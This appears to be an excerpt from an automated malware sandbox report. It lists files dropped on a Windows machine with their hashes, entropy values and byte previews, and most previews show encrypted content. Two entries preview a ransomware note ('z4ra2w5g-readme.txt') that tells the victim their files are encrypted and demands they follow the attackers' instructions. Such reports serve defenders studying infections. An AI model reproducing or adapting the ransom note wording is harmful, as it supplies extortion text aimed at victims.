                        Preview: m\u#Ig......@.....=......qd...^.:.ht..`.6p.*...kC}.....C..x).'..?..{.<.M.<Oh.#M..+h.-....v...J.p.6..7.2..Ap.....9M'=...'WA.WG.22...?G..&.....wb.n..?..7..D..C>..... %=Oq.u......X..#.T.f'.1{,..w3......#yY.f..@P.;...]4A;.I.~....]...%....o.T.UY.mr...v>+..... S"..Q{..Y...^^Q(|C.^.\.`]..%..*...x....6-..)!z...k(.eX!.....r.4![-U.....pr...q..".2[.b(.><...p.......S.$.~..0,.....'..RX./.D...0...Hm.........>h.....~..q....g....p[m..qQ...M...-..../.D.%KP.=...f..P.}Y......?_.2*9.x.V.(+..FF...69..|.W.. K..]....g..dR........ ..............ZN..../.....cE.&..Io.l|.6..{.B..70.../. .87.$...4......[.N94)k.&......+H-........g..k....V.O..~z.q...m.).'%..A.......t/.9..'....A.X.<..D.s..E..........9..f..u..A.I....T...o.U..C.K.!...k.n.h..tfD..6;....oi........M.^..F......k=..# .@...X..:X.^Rk.YP.g.sw..t.U../.\.9..@..T.?HX..*p/! .p..~e.~../.V^m{.l...\U?lM..Ez..&J.N..j.....I.....#..$i.k...%.zV!.%..c./.`..1..b......Z..z......[..~..Z..u...,....QR..<L.Q...7m._.
                        C:\Users\user\Documents\GNLQNHOLWB\GJBHWQDROJ.png
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.839821363791326
                        Encrypted:false
                        SSDEEP:24:t14HY54/3q+H0wkYoENjm3R84yIdCi3Ol8uutrd4bU/:f0YQ3nH0vMIsiLdWY
                        MD5:1CDBE8A6FBBC023BC9041C3F077D68C9
                        SHA1:2161140EC60D29DEEB28BD01A314EFB96D592923
                        SHA-256:00D222B06BA72F29ED328784DEFBB2CA13240448E7F5D1DC2EC9439226CBD11C
                        SHA-512:080F0B5D631910421CBB9EBD64584E6394C24A34AA3CFEF32F010550C10EF3841A1C7263D8CB3B93084EED16711B5104A52E12D955A93B8FDEAA46EA1270C5E6
                        Malicious:false
                        Preview: ..A....fu.-..|(....V....h.$.B... ....N.k..7...-.BT../>..:..j<...GV........,hH...5.\..........03.@g.K....qrI...u..^62....<e....%Q.@.w..O..]H...;LLV..Dn.8.....<.|......>...`Xaz?.A..B..sC<.d=....7.......n:8..%`.....Ed...o...{...._9..n\.#..%.b.a.......D..~....p}_"...Bz.I...#..xd..`../!.\.4Us.=..%.q..k..Yx...`J^........H......a.d%^.s..vR[..Ah.s..vD'.4)h_l..x.C.-.3S.{..w.7.dN7.Fa....i.io.g....n.5[*N....P....;....e...o..0.sC~P...4c4.;9.M.....\]rP`. <..)...:......&..Z*...3j...4..iX..4...k...O...P..(........,...N..g6f..#<..r........x`jR...I.&].KX.....Ted9....M>..%.j...X@..&.G..V.2.g.x..E..2...(...4!D....W...v..h.>....p........D..y. .Q...4c).y.J.P....lf..Ip5..g..=..h)o.. ...J}l.k;D..-x.3s ..=.<..#.~..w..Yow.M ...h...........RG...n[J.2t`..X:..`Y...*.p.C.G._.&WOj..!B.}s`..%.o.O.e5B...X..s.9[..h.c..|T;iv..}O$......d...!.CQ..S..J!.....O+b.....r.%.1g*.b7....>n.....r@..#o...tBp....F^<......?.........DQ%P.....U..."..V{.%...#Q&.a.X..CG...s.ZT...]..2d...R..1...
                        C:\Users\user\Documents\GNLQNHOLWB\GNLQNHOLWB.docx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:PGP\011Secret Key -
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.855801281823326
                        Encrypted:false
                        SSDEEP:24:jFdxxDWeBtk7aoYWeV2RYbxvOmVLv6sikg4MFRicD7fhjzM/88s30QZKuutrT/:Jdxxw7gZV2RYbZB3Rg4zWpjYuhWj
                        MD5:79546B9435121AE6BDEDEB98F1C4A476
                        SHA1:5512D5362997438D44D691BBC297F1D351E679DA
                        SHA-256:E4D7E95611ECA02F775828F5DBEB5184685D8B0BE07F826652A72642797257D9
                        SHA-512:50F1F0FB2F81278B3C08E68D740F31172A34A25C2347B6C24AFDB23F7D91B72B9306FB61F9485F8F4CEB1227D43D9A5C36742238E7342C8DE05AD4DF25B04D0B
                        Malicious:false
                        Preview: ....F.Py...5...k..X5.I....."..o..0...<...........-......s..,2.....]#.2[.N..........X...J.../R.Hj#.k...>.^..v..y.XR.G!...|..]..>...$.K.#.imn.a...JW"...w(..M..F.+.a...&......f8'.w...0...u.......o..z..T.8...pQ.&......q....IQ..<U`Z9...g.z...3..;.).?.Z8.\`B..<S...M.tHI.n..}..d..3..S.-PG}.[...N.][..1.xI.O8.(."h..|......M6#...KR^.g.im8.)..,&...E.......x..\6.S....o....1..[U.U!,8........B...@......2D..L..z..N.PO...3.X.f.....T~S.`...{Z3Pp.`X.r[]...&.h\...3..@.J.cq..)-..TK=...[C.rO.....&..cf...F.s...`....fF.*C1....S...h.H..x.".I..#..'3...$....4...!..~.U..L..W.E..ZCdz..k..hJq...M.Qq..k...t?...T..cl.........../...."....0...~.,6-....:..79...Z.J{...<R4..`.Af@...(^.".B.s.e.J.k.]E..w<.:A:.B.q.....g...~.&.&.-.......y......t.i`Q0.f..,.<S./.5..........}rgj.b.vs.1.O....A.&. `..=..NW3=c}.k...~.X...$....i>..Y2.. .>-.!_..].i. .PtI.d&o......oE....nZ...+.n.....u..7.oZ...K...W....Z].<K...mym$..GP......s..Gi.......h.M.y.#.M...~.>..cO}.*..7\|q>2.7..... .j.......A..;d4..W..fQ...
                        C:\Users\user\Documents\GNLQNHOLWB\WDBWCPEFJW.mp3
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.8538433910730685
                        Encrypted:false
                        SSDEEP:24:E7Fr8qkrxkRZM49IaVR5uqpbWicNjM/zo0cQ9Yof9vAVWoOraTZZq8iuutr0I:KFgqhZM49R99laM/M0f3YWBOlILf
                        MD5:E8E5F469E0E7CD4927D95ED288A3C1F4
                        SHA1:3DA0B8BED5FAE5B424242BA01365777432D70A7A
                        SHA-256:61CA291EC3D5FAD3435235A1E560687B66008659D982CC4E4A15F022B1F587A0
                        SHA-512:F75F385FA39A5A2EA74CA2ECB2ABDC14CFB05ADF2DE52B711D9F2ED6AD1C14378A7AE5BAEB73EE7B1177D59DF86A572D5A2DB94D89B9E55E288CD6BB0618403A
                        Malicious:false
                        Preview: ^.V...(.F.........(.....u0....^..8....mv...\../.a..*....u....x.AC...]....d..w).Jc..0.p...{|q.0......r...[...v.{.6I,S.$T.[0.*I......s.R.QP.1.W.....F.'....\.?p^..L.y.ei.i.p.....jI...e/.=..q.m.z.H.C...QP_.8h..5|.c;...sq.v.K%;~..#....I.cl..ut..`\......I.H:;..4`.Q.....w=NL...K1#.=.....LG.K[!.nV.....>...1......n,....a.....,...ws..j..(..z....l..i......."m..0.UA.t..O..Yr...o.p@ .Z..wn.B...@5.Ze.q. W.Fx..*i...K...e...g&k.+#I<.A.....A....r..Ab.../..VM.2LO.J..FM+...........q...S...6.y.!....k`..}...p..8...7.....U3.3|.w.c.@l..~.".B......|...U..._....C..$...^S..Y]..ou....+.:.l...7..yi.......}.].X.\...b.X...$|..b....M1.(.}z.......,....75..eDe...V..Fj.4..8....G..C.....>..*?9.........../.2,.aZf/..b..6YPP".LX.6.O.....bX....%+g.G*...-.._.#....F%.....M.L!.k....^Q.ec...a^7...\..-...S....<..;..%3F<z..Zl.. 5.......E9p.....C..n..`.[.x..M......g.by~%...ks.n....e.f:f.c.9xv......6.&......:L....!F.$ .n...X..Xk6...8.l.'Zy......u.k...Y8O.c.f..n..4q..L.o..sn..].C....0r
                        C:\Users\user\Documents\GNLQNHOLWB\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Documents\IZMFBFKMEB.docx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.833152781595371
                        Encrypted:false
                        SSDEEP:24:z88HhZDKCTMMVmqaE9cUPzXo+eiUvHOdhHn6uutrlZ9bgn:o8HfuQFJzPzbeZWdhglZKn
                        MD5:D18CB31EF336523EB59DB9EE003D94A0
                        SHA1:130CD33FB05239105D9DE05603C4387097BB78DB
                        SHA-256:F3E0CC75B7245401AD641CEE731D21CF6ACD76743270D5C6C4546BD3A424E398
                        SHA-512:0E39E64EF81CE5758398D49ECF21F8B7AD7922793E3AC5CC307C8B1C0018BCE85764A76BF3E50ABF510B61558EFBBC544899B28AD3C7980978B292F7D63BC481
                        Malicious:false
                        Preview: G....8...L..s..+..!....0...Qu...Q.?..8-..mqN.4.....l|.1..[...U..k...d...S..0...(i..)...0.. ..X.p4?5...._+..u.'X."...l4.........Y..0VO.>.S/Yr.I.y~."..'v(...I./........]..3..?..%i.....y"....x6q.6.P........./h.....nX....q...T........;..).6.+.i..n}.....D..........>l..q..%.....[.hdlk....Gr.:...uS.{Z...[)..2.%I....8....H.u.q..4.Hl. t 4.D.......M...mg^.K..R..%Y..%.[...^...w.._.....a.B.O*`..c..Dw5.w..+;..BB...2r. 0e~.."m6..pz.....@.L..iM.X...F....B.&'.oy.$..C[/.4..K..O...\.:.d.i5c..X.e...T.K....:..".1.\.!~.hi.....p...+.9bp...L$...c.R..O.O....}}".%..m...7.90.c.0{...*.Ymf..".....5...Y.'...t....g=<....l.MFq ...#.'....lv........UM...wQ..Y..".>.S...h.....#.4vh...\"..~...i.5v...........u..t..Y..E_..j.o...C.........v..%.pt..7....b...|.J...s...[sB.d...R.G.[.&...(q...P.>P.. .....n.G).-I.1.A.s.....}....=.'.sp]v.4e.<.....T.]..T...HU......e.......F........N.<.. .B.>.(.G..#.(..H.L.>.Y...B[Y.#.%..V..y.}G.r...!i.p..<]'.XU...\'..I...Tr..!./i.A
                        C:\Users\user\Documents\IZMFBFKMEB\BUFZSQPCOH.jpg
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.820947881086198
                        Encrypted:false
                        SSDEEP:24:LOe4qGmZtCB9yCKUYo7HqPBfC7QIQH/ZqTeDUynJGDFEKuutrdN4Z:LQUtjCKUYdPJCQHBmEUynJ4Ffdi
                        MD5:B7035C598A53CC20F8895DC5E34BA7EE
                        SHA1:75EC65DD7A302DFBEEF97E8D5C692336C2EE0454
                        SHA-256:BD5ECB172FD4DE86C85E2CA8D548DA90E7E5ABD4F5BBDDFDD12E1FDCDDF382EB
                        SHA-512:3618640AC0FE6D270236C1689223C9B8D33ADBD30199F4C22D76E9CC6E4E4C27288913B8FE94722506F305516B6D524F8EE8A592B4AFC41D8608806D3934108E
                        Malicious:false
                        Preview: .,^O..y.N=..K. ..J...{.......^v4.&...U.O.9..J...=.`..~~.&#.Q...P....H...Z5.@8..S.F.$..`.....C%....+p....,...V..zDB+.9..2.5Evr.^..m..f..%%....q..,n..v.Q61...l...F2J.X.....0..K.9....?......5....V...-.....T.....p..9.=H......X.%8C..].xzu....gW6XV$.y..f.......9.....eDr..G..>&.0.4..6Nxw:.jL,..Ji.7....S.\.v....8..m..Q.~.....j.b.V.{-..E.[oS..mkn....X.@;.../.J.O....Y.W/..Ou.0...V.."......^..R..&............W#<O.8bJ?..t.,.k.._.m.jM..7..6?*.E.c.).:.m.........%a.r.lt=.!.....O.`.[..3VI.zQ..*.q&.......s.O...\z ...i....+.Y._...y.Q..L...t.t..T.5..T..2.J.F..X...V.+.,..H..g&....i.t......2...N!.Y........)....JrI..[/,.2.ey.Z..".g..Q.A.......@...$..X)f,....A..Z..Oy.W...q..VA.-.....1j.5i.....d.t......5H.^%..3.:`...pw....d...L....5.k.lF.D.L..R...h.a-.tOs..x.b/.s..G.7........{...{..:xa..5...yz"#hF^hS...B...>..V..t...<+.ad....\..<Ao....V.N....J:........i@v....H....jSf:..2......?...:.;..H;.....7.....U.B1....n.......f%....&..`.K..-m_U...r.m.f:p;.....j4{..d.#.Z.c3_9
                        C:\Users\user\Documents\IZMFBFKMEB\BWDRWEEARI.pdf
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.828001580059938
                        Encrypted:false
                        SSDEEP:24:1ikkbdWFcsz5Wz3xcHs3yWDJqsz8ETDE9zLVmrsD5h9KuutrBY:lYWGU4z3xhVA0NTiXuU5hKW
                        MD5:455DD160BC906BFC57091CCC45CFACF7
                        SHA1:FBE384DE433752E2E3D5702CE9204F3C49228EF3
                        SHA-256:B95FF6200DAB8F50E8BF3777556C23BA2D5CF3FCB5BE0075EF02FD73CDF99A84
                        SHA-512:490042563AF527FCCBC25DC73CF5E83861979A037954EDA4856FCE65F362398B87E78C2F7C6D4EF465FFDE5C5157800A20DEE36D08DD395E21C2B77A7B9B5DD2
                        Malicious:false
                        Preview: ..}:6.j.........%...FB.E"..E..A......Ew......D.....x........9I/.i..N!3.`........px...6.1..pkR<..../..j...n^.B^ R,x._..e3@...GH..k.tqRF,.......i..CP...4..S.....a....._0.O@.*.LL.R.....s.\1wz^..f.xk.4..N...'.9.Fn.?...c.#@..X....=.F1=...../op.HD8.v~..2h&........e..&.[...Z..m=!....(..).u..I|.cWT..r....[$ .B.@.8.>L..... ..c......W..b..R,G....D....R..vb7.4W.. .[..~y#t.p.....$....._..G6.5B4.g.(.D.f.......a.%.wg.}.!.v.og.b_.d|.pu.N.~.m.....%..t..{..D1....S...9......Ss..ZQ.].C........t7'i..WO.4"6.h.C.M..g.......s..vn...$..Q.;,.J.d.._...[.>p.p.......3..*../..\.D.....y.[.JIH.K[...d.......7ym.-IJU_.i..6xLv..u....a..Qa[.q.....'..s....K..[.......=w.......2.I.J..J?......y..e...+}.P.....&.A.F!KGh......^.FX.......X.cI.....@..rh.{..{'.dp...La>..t.....x{d.W....VF-...34...xx..S.0......2.9.G3c...."..G....}...mX.B.c..:.x..^.....C....Ap....f.._....3.V.....K._.dXs.7...>...*...N...w..'9.~...XKK..K.......b..n...'..BG#...j]..P.=.inu..J9W....u...M.u.(..Y.{R
                        C:\Users\user\Documents\IZMFBFKMEB\FAAGWHBVUU.mp3
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.843784279168074
                        Encrypted:false
                        SSDEEP:24:xweGCKfUToKpOG2sXTul+u15t4rD6wWR7NYrdBCO0vuutrJ5:CeCefHm0rD/8iHCO0JJ5
                        MD5:CB5DF2BDEA381E79C6441939242D1F63
                        SHA1:4107C291C60B756FD9FCBD3FCD50575C6C058114
                        SHA-256:8BB57937FF16009F0F9F2082E890EDDD86B616DD6D9007FFE0DFD34AFF79C8FC
                        SHA-512:ACD8E93CD21F69687E4E38D54F6D62B8B9556D1517A56DBFF4EF45A37B8302F4CC516C5AD276BD3E7383FB738D6F19498356A4A35A16F15D97F1DD14C6BE0023
                        Malicious:false
                        Preview: ..e.{..3]l........_..(..q.\...h4a......L..p_...i#..#.W.q..w.i4n.Q..A.#........O.B@LQ_m>....D.N.6.3.PwU..ZE..v. .C..Z.&^/....(16by....]..=..~....A ..!F_.%0.E.Z..mc@.....:u....Q.$.b(G...T......e....v...wA...fq.....E.....zqN.............X.;..cD...z.A....Z.\..6...}....r Q.@nrE..l.vJ./1l....J..P.....u....I+.t.D.RQI.......^ ...Mq.4.X.sO.._..9.s*<kjC,sk>@...8...]:._.6_...Yxe.%9te.i.P.l(..y."*.N.H.:....(R>..%1...C.m.~n.o.zAD...d.I.....Y..^_..z.L.......G...O+...4-M........f......R.k.4Uwx....\n..3m....7.AQ..U..v..e......f..TX.wm|.1.K'z.v4....^+..u={t...N2.]..m....$Wk.".R........#?^+..{..r!.....{O..O.s.Z...J...^:..!..|.mp..p..}D;.tH....-3.L._...-;Fc..wv...0/w..u....-.J.......<.e~'hA.1.G.....z.I.9.9..:.f....v...~fH.N..s@J...~'n..r.g...4}.6P....\t..J{.E......."C....$.8..(.t.7....m.<E.QD...LJ..N....'...o..o.-.. .......A*..s./hz.....B..^.E.jHV...........Kxb4go..".z\...b@.qn...)....?.]V2...\.......*....;.y;@5Z..68..~..#v.._o#....0.....Rx...".....5r5 N...
                        C:\Users\user\Documents\IZMFBFKMEB\GNLQNHOLWB.xlsx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.836762099659229
                        Encrypted:false
                        SSDEEP:24:O0FiRUnUcMKf1hRcmPDlFJ8UZNKk6jbYOz/YINPB8IfPoO3LQ8Ru5uutr5IpY:dd3hRcChTdZ36jbYlIFB8IfPowLQUu/z
                        MD5:B9E61A3B6B3381B3036C60921326B9DA
                        SHA1:E352A00FB044203036529E36CC5B8CD4FEA131C3
                        SHA-256:61011E2E131FA72FC65DD4031EA9B191C7C64722CEB7E7A37E973C66A85547F8
                        SHA-512:0DD7ADE7B90C41F53494491947BDDEDB1457C4D01E30ABD49B3EC6901494980A0A9EEFA91352E886476B1E922F21973C2FF7CE22EBF12B54EFA01E03C68A968B
                        Malicious:false
                        Preview: U.V#Y:...'....1...7.i.......j......g.......G.CVl.#...|.......j....*}. 1...z.7J.||!.Z....9...ss.nR......+.3e!$.2&+.@2p....V_.d:...._*..#X.....Ot.....%.|R~.......fM.e&..v.m.. i.!..PF...D....^2..M)........zw...wa.......6.I.........a....T.7^.X....h:.wz0.e..._..Z...P.....b..l..4....g/-....f...g..UC].T..vG~.&@..k......F..zH.x.]...P.{.o.v..M>.8.k.,=..HEY..>.E....b. ...G..=;?.}.G~......-..o.]...(.._p.3T@TQ.:.Zj...e..9..T.S...[......(..qB...q7......}R.1z.. ........D...8I.M)...E....=..}..Fq.<R.^.D.Se..3..e.[. AS.>P....V....?...,.Z...l...C..;j....@!C..~(g.....m4.>>L.f.0.n.(.)mm..%.#S-.:.?;S[G./....Jk..G'Z...Ah,.V .7...XD.@..2.sI..-..$0...b..T&..r....=#=.e.......wU..q..,.8..pm...D.{.\_......h._..........?...9.l...-.....).H.*..R#.0...e..2....4....r.9..X/x,C. .Pw<gm...xM.._I.......&.......V. Q%d..`.:,..!......./.+....m.4...........h.^j|!.m....48.s..*.....6B.......sa8.....i..]...F.K...1.yn.....ZQ6..P.....G...i8...?.....,...k....- ..|....z^*@..1..\.
                        C:\Users\user\Documents\IZMFBFKMEB\IZMFBFKMEB.docx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.828000339745627
                        Encrypted:false
                        SSDEEP:24:IAKJYi2SX2gHe43d5FgD+Ls7Pp2OWg+KLgpxSZiRBZuutrignMWa:IT0SX28e4Vf4WgbqxSZiRlja
                        MD5:2FD650384FD7E4F03869255AEFF726A1
                        SHA1:AFFE26505B303058EA82935C2596727A3606CFE2
                        SHA-256:794D4EFA782F05B5AA33B8E15B1F0DB83CB1C03691CF13F06C3DF5B587C03CD8
                        SHA-512:E952CE03A8B3C09F5CB252401395D497EF0EA51C237C80D9C4D1D978F325A53B94502A8C87A4E37B13DFBBC5A1D1123FA8329BF0B0B6A1EC6AD04923EEF316FC
                        Malicious:false
                        Preview: '...J..iUk..F...;..5.. \Q....@.,.k.Q...q........Q7!J..E.=w..M. ..F.Y....`.B.KmS.}..V...o...Jms.M..*PA.`. ......Q*.....tt.....}...#._.~b..d.vA~..Gdh...c.[.M. $R.....Q+.4U.S.$.I..&.....R/87..x...(.....=.7.6...{.}.$&8F._.....X9..Q..N..q.4... .p51....BV..W....3.k.&..[..e..&......&..!......y..t.o..L.._.F.b.5^."S&.;]{:k[2..(..B....:..o d..*.+c..S..6...1.U...].(3.i.B.+.-....j.k.5.....L.w.......j.kI...%...K.H..}.CD....t.!8...;....b..q..8$......)C.5.......@%..Pm._/...#......W..zU.*.6.......`....A.S"g}..!Uy....O.G..Jz..`c_.....&..r.\,...+...oo;XI..T.?....2.Z0B..RN..1.a.......0...d.P...D..[.B>.z2.b..lL.4........+..I<.\...X.....(&..R....,u.....|q&...Q.qz.TV.........P.g.w.......>].7..m6....t..F... ....J&...W.'#H|......b.ab....e.\r.'$..W.U...?..8.....1..:..)9.}K.*..S.y...$... X.T'....+..:.-Z..;zo.+W..P.:.,./..%[.3.P6./Z.G..sc..Zw.6..S..9..Jrj.;...%.v.4..........?...M..v.e.Mj..........4..>A.."..l.l..|4...-....CVw.E*.nM..0H........DL/).=...s>I.2.0
                        C:\Users\user\Documents\IZMFBFKMEB\UBVUNTSCZJ.png
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.817160685546267
                        Encrypted:false
                        SSDEEP:24:pX4HEmUPyxQJQXjqYK+LljBjrYSVZzyZJ0HNg/0cqQuuutrbc:pX4VPxQuXju6h0C1yZJ0tncvUbc
                        MD5:6B2D18372A9EB4C24A871B1E02712090
                        SHA1:5653BC9B1F5C77AA82B678C96A40142FF62F8012
                        SHA-256:94BE0C714247A92F5E5A4AB60AE193CCD70FB6D6F5C38AE3240A6AB1508591DF
                        SHA-512:68D5A0862BCC8A4D82453CD0E5AC0EED2F21FC9B116B741C5E263A69ACEC1B838F7353AA9E3CA41662FAED268684F24C457BD7AD96F647EA6DE05BEAB9365813
                        Malicious:false
                        Preview: z&7.d.X.....~..u...[1]:G...p\N.y...).l%.."$LQ?..i...T-.K(i...K..e../.......G...e...1.B.L.M....tK'Yh .7.4.....zO.....x.;..w..3..n~...w....h.e.E......u.h.W....1.....LBd\.f..V.{D.\..g%....&.h.~....e...U......P,.U..4..c...r.o.........3i.....y |.l..Dt..E.1s.I...RQ...].Si...U:&N...?.Is.......,._..ih.....V......GJq.h..?)..,..v......L.n./D.s..._)<k.W'. ..x.J..&..V.\...7..N..d)q.......5...c.Z.Z....s.U>.W.:0.F&jvRV...;...7S....j.i...{.y1.... .N..N....}.Zk7.1...p. o.G.c.>XF...q.R.gE.......0Sj^eM..s8Al....7.!..lk....&.R..v..`.$.N...3.}.l..}..J..d.%P.U.....E6.Rw:I.........[@8:O.j..T_6..w/.o..Rj`.@..D..l...8SGE,.j....w.....O+.n.#....D......RZ.rfW...R....!kQY..{.....?..dP.Q..5Q\;..WK..rz..7.....:.2.u.O.B|R.=..o.....x..L...fd...r....).R2.Km..`.;G..Vesl.k..jVn........T.r...lg.....<X.M...UN.Fm .T.....n..K.....-....A.N....m......O.........Q..7.dl/.]lo8.E.5.[....s.y.8...,N*.J.@.....TD#8..C".>b...}.k!.K..P......V.qd.%....r.f\..1_....1..:x.4.1...9I
                        C:\Users\user\Documents\IZMFBFKMEB\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Documents\KBIFTJWHNZ.mp3
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.845531215760393
                        Encrypted:false
                        SSDEEP:24:Nazt68hoem8HPgT6e6mNY9SmWhO1tAZGirkBMKuutrK9bn:oZoeHPa6exNY9SBhO16GirkBX4bn
                        MD5:12EC7097DA9D799CD6031A37D1BBD6C0
                        SHA1:FDD2D86C5A6F0ED03AD9E93D8E78206C325AF909
                        SHA-256:3526D740CCB6469AA4F9530212191DB2C47E249EE1D61C8E7411CFA30F2BAF65
                        SHA-512:5168CDAB7A190727BA3D30FA2203F51506603F98B761FA5F4FF44982BD63EB66AA7A97050B4FD174E1F1E2619C88DA4B811D9ADC1DC22BE458E38AF4347CE86A
                        Malicious:false
                        Preview: r..h..L$.x..R..U.a..}+...*r(E.q.....bO....E@......)3.!<..I..}..i.......H..s......H2.T...K..r...ITk}.JB..7.....3......].6zF..\..!..{Z.O.3vVy.pY.g.....PF.&....%.7..=.:.2.............R.E...}^;@..Wx.i&]..I.(..W.WA.MF.?....}...>m8c.R...sq6Q%...c.4..Ie4.*j..tt..GM..M....R......8.[..k.M.K=....K.Xe....;V..-....q....W..<....%....bh.$...D..j......?=U..a..h..W..Sr.......W-..h.t..=..:.8&tH.....4Nd.+...c..oJTKpR8..C....z.&Sl..H6[=..g/A&.zT_|.C..N.....OQ..l......6.J...;.V.~..@..O.'..+%.~.p.m5wF.,..8e7........%L"@?n+.6..)y.o.(9-p.B..6Br._..mf..5c..UH...........hX.J.V.#..I.....;'.F...Vm....pf.E.....,"O.S..L/c.u{...U.W...R.z.E...o...T..-.R........2R.....3X...)......\...P.3j..1..8H..k~.&....A..V..p........n.8....S.Jf.e.q.....0]..n=......>2.u.D...?&ZWk.qI.t...B...:.?.!.C.e6. ..t.k.g[..w.9j1m=.~..1IhIL.t...vP..=..bIN>.....>E.e>..d.Q&'... 